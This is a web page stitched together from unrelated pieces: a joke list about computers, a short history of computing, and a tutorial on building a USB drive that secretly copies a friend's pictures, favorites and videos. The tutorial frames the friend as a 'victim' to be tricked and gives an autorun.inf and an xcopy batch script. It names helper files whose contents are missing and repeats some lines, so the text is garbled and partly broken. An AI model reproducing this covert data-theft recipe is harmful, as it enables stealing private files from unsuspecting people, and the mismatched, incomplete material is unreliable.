Computers

* You cannot thumb wrestle with a computer * You cannot knit socks with a computer * You cannot get rid of your mother-in-law with a computer * You cannot use a computer a a grappling hook * You cannot make pudding with a computer * You cannot do a headstand on a motorcycle at 60 MPH with a computer * You cannot make a Frisbee out of a vending machine with a computer * You cannot recite the alphabet upside-down with a computer * You cannot marry a computer (outside of California) * You cannot pilot a TIE fighter with a computer (Use the Force, Luke!) * You cannot swallow 80 ping-pong balls with a computer * You cannot eat waffles and do the Macarena naked on the Empire State Building with a computer * You cannot share head lice with a computer * You cannot teach Yoko Ono how to sing with a computer * You cannot lick your elbow with a computer * You cannot shave a cue ball with a computer * You cannot talk about /b/ with a computer * You cannot talk about /b/ with a computer * You cannot defeat Chuck Norris with a computer. Don't even think about it.

* You cannot make Rosie O'Donnell not look like a fat slob with a computer. Not even with Photoshop. * You cannot stretch 2,000 miles of Silly Putty across America with a computer. * You cannot do that! I won't let you! * You cannot stick crayons in any bodily orifice with a computer. * You cannot use a computer as a surfboard. * You cannot wrap Teflon tape across an elephant with a computer.

As with all great inventions, they develop through necessity. Any repetitive task that a human or a group of humans can perform together can easily be performed by a machine or a group of machines that are "programmed" to perform the same task. Computation is one such task that is best performed by machinery.

The earliest computer was obviously the human brain itself. However, the human brain cannot compute everything, and even what it can compute is rarely very accurate. Take temperature, for instance. The human brain may be able to sense variations in temperature but it is somewhat vague in its evaluation. Hot, cold or tepid are not accurate enough descriptions for any scientific purpose. Thus the thermometer was invented. The thermometer is an example of an analog computer that can accurately compute differences in temperature.

Clockwork timepieces are another example of analog computers. The ruler, the abacus, the compass, the plumb-line are some more. The list is endless, but they all have one thing in common: they are mechanical devices that compute.

While Charles Babbage was at Cambridge University (1812), he noticed there was a high error-rate amongst the numeric tables of the day. He correctly deduced that since the production of these tables was a highly-repetitive task that involved relatively simple mathematics (addition and subtraction), a machine would be able to produce those same tables with a high-degree of accuracy. However, the British government were not convinced by his designs and, with no financial backing, the machine was never built. In 1991, however, a working model of Difference Engine No.2 was finally built and proved once and for all that Babbage's designs were sound. Obviously there were analog computers long before Babbage, but the degree of complexity far surpassed anything that had come before. Thus Babbage is now credited as being the father of the modern computer.

Wars always up the ante in terms of technological development. The Great War saw the introduction of the synchronising gear mechanism -- an analog computer that allowed a fighter plane to shoot bullets through its own propeller without damaging the rotor blades.

However, Word War II saw the biggest turning point -- the switch from analog to digital computing. While both are mechanical devices that compute, the difference is that an analog computer is designed for a very specific task with a finite number of variables. A digital computer is more flexible in that it can be easily modified (re-programmed) to perform any number of tasks with any number of variables and, most importantly, it can store the results in a numerical form (digit = number). That is, the results of one computation can become the variables for another, thus permitting highly-complex problem solving.

There were many pioneers in the computing field during this time, however the work at Bletchley Park deserves special mention as this is where the first electronic, digital, programmable computer was designed and built by Tommy Flowers (who also financed much of the build himself). The Colossus machines (of which there were 10) were designed and programmed to crack the encryptions created by the Lorenz SZ40/42 machine, and proved instrumental in bringing the War in Europe to an end.

Sadly, Tommy Flowers never benefited from his discoveries; he received an MBE and £1000 from the government, which didn't even cover the amount he spent building the machines. However, following a successful and pioneering career in the Post Office Research Station, his work at Bletchely Park was finally recognised in 1970 along with his contemporaries, including Alan Turing, who was instrumental in breaking the Enigma codes with his bombeanalog computers. Turing himself is now regarded as the father of computer science and artificial intelligence.

After the war, digital computers began to replace analog computers as the first generation of digital computers got under way. Programming was predominantly low-level and highly-complex (and error-prone!). However, just as Babbage saw the merits in automating repetitive tasks to reduce errors, it was quickly realised the computers themselves could be used to generate their own machine code from simpler symbolic languages. Thus low-level assembly languages appeared which, in turn, produced high-level languages such as COBOL and FORTRAN. The first generation computers helped design and build the next generation of computers, improving the technology, reducing the size and improving the efficiency.

Computers began to become commonplace in the home from the early 80's onwards. The modular design of the IBM Personal Computer was quickly copied and cloned and, with a little help from Microsoft Windows, came to dominate both the home and business market right up until the dawn of the 21st century, by which time mobile computing was becoming the norm rather than the exception.

However, it was Apple who introduced the biggest change to computing in recent times. Having been a close contender to Microsoft and the clones, their revolutionary touch-screens changed the way we think of computers forever. It's still remarkable to think that an Apple iPhone, essentially a network computer you can fit into your pocket, has more processing power and more memory than a Colossus. But will it end wars...?

Let's say you and your friend are preparing for an all important exam that is going to decide the course the rest of your life takes. Your friend has some important notes on his computer that he isn't going to share with you. Your friend is a moron. You need the notes so badly that you are willing to steal from him. He deserves it anyway.

To get the notes you can either break into his house at night, an accomplice keeps you hanging by a rope from the roof while you deliberately copy the files to your flash drive taking care not to let your feet touch the floor. Or you can walk into his room one morning and say with a feigned smile, "Hey, buddy! I have some great new music. Want it?". Then plug your USB Flash drive into his PC to automatically copy his notes to your pen drive, secretly and silently. Copy the songs you brought to his PC to complete the act.

Sneaky, isn't it? So let us prepare such a sinister USB Flash drive.

icon=drive.ico

open=launch.bat

action=Click OK to Run

shell\open\command=launch.bat

Save this as autorun.inf

The icon line is optional. You can change the icon to your tastes or leave it to the default icon. It's useful for social engineering purposes like enticing the user to click a file on the drive by making it looks like a game or something.

The "action=" command is optional too but sometimes when the autorun launches it may ask the user what to open. Depending on what you put here the user will be instructed to click Ok or run the file. This code acts as a backup just in case the user is asked what to open. This is not required if you are operating the computer.

The "shell/open command" also acts as a backup in case the user clicks cancel instead of open when prompted. This code will execute when the drive letter is clicked on.

:: variables

/min

SET odrive=%odrive:~0,2%

set backupcmd=xcopy /s /c /d /e /h /i /r /y

echo off

%backupcmd% "%USERPROFILE%\pictures" "%drive%\all\My pics"

%backupcmd% "%USERPROFILE%\Favorites" "%drive%\all\Favorites"

%backupcmd% "%USERPROFILE%\videos" "%drive%\all\vids"

@echo off

cls

Save this as file.bat

This file is configured to copy the contents of the current users pictures, favorites, and videos folder to the Flash drive under a folder called "all". This is the section of the code you will need to edit depending on what you want to copy.

The first file path "%USERPROFILE%\pictures" - is the target.

The second file path "%drive%\all\My pics" - is the destination.

Save this as invisible.vbs

This code runs the file.bat as a process so it does not show the CMD prompt and everything the batch file is processing.

Save this as launch.bat

This batch file does two things, it looks for the invisible.vbs file in the root of the Flash drive then loads it with file.bat so file.bat is run with code from vbs file.

This is all that needs to be done. Test the Flash drive on your own computer first before playing it out on your victim. It works flawlessly.